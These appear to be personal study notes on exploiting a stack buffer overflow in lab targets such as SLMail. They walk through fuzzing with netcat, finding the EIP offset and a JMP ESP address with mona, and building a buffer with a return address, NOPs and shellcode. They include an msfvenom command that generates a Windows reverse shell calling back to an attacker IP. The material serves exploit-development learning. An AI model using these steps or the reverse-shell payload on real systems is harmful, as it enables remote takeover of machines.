Buffer Overflow Tutorial

<http://www.primalsecurity.net/0x0-exploit-tutorial-buffer-overflow-vanilla-eip-overwrite-2/>

<http://proactivedefender.blogspot.com/2013/05/understanding-buffer-overflows.html>

<https://itandsecuritystuffs.wordpress.com/2014/03/18/understanding-buffer-overflows-attacks-part-1/>

<https://medium.com/@johntroony/a-practical-overview-of-stack-based-buffer-overflow-7572eaaa4982>

<http://sh3llc0d3r.com/vulnserver-trun-command-buffer-overflow-exploit/>

**https://www.securitysift.com/windows-exploit-development-part-1-basics/**

EIP – Extended Instruction Pointer – Address of the Next Instruction

ESP – Extended Stack Pointer is the top of the stack

EBP – Extended Base Pointer is the bottom of the stack

1. Attach/Open Program to Immunity
   1. Hit Play
2. Crash Program
   1. Python Script
   2. python –c ‘print “A”\*1000’ | nc bof.local 9000
3. Verify Crash with EIP = 41414141
4. Create Pattern to Fill EIP With
   1. Technically here we are overwriting buffer -> return address -> return (pops) and return = EIP value
      1. See 0xdf messages on Slack.
   2. Pattern\_create.rb –l 1000
   3. !mona pc 1000
      1. Outputs to working folder C:\Users\Aidan Preston\Destkop\pattern.txt
5. Find Offset from EIP
   1. ./pattern.rb 31456791
   2. !mona pattern\_offset 0X7A46317A (Value of EIP at Crashtime)
      1. !mona po (address)
   3. !mona findmsp
6. Control EIP
   1. If the offset is 230 for example this means we have to send 230bytes of data and then 4 bytes in our exploit, which will be a memory address of an instruction we want to execute
7. Find Module to JMP ESP
   1. !mona modules
      1. Choose Module with no ASLR, DEP, Rebase
      2. Also no bad characters in memory location
         1. No zeros etc
         2. 00
   2. !mona find –s “\xff\xe4” –m slmfc.dll
   3. \xff\xe4 = JMP ESP
8. Find Bad Chars
   1. <https://bulbsecurity.com/finding-bad-characters-with-immunity-debugger-and-mona-py/>
9. Find Space for Shellcode
   1. buffer+= "A" \* 2606 +"\x8f\x35\x4a\x5f" + "C" \* 390
   2. eiptest.py (SLMAIL BOF Folder)
   3. Right Click ESP Register and choose Follow Dump
10. Generating Shellcode
    1. msfvenom -p windows/shell\_reverse\_tcp LHOST=172.16.10.5 LPORT=4444 -b "\x00\x0a\x0d" --format python
11. Getting A Shell
    1. Buffer = overflowamount + EIPVALUE + NOPS + shellcode
    2. Buffer = “A”\*2606 + “\x8f\x35\x4a\x5f\” + “\x90” \* 8 + shellcode
    3. EIPVALUE = “\x8f\x35\x4a\x5f\” = 5F4A358F (Little Endian)
    4. NOPS = “\x90” - \* 8 or \* 16 should be enough to provide some padding

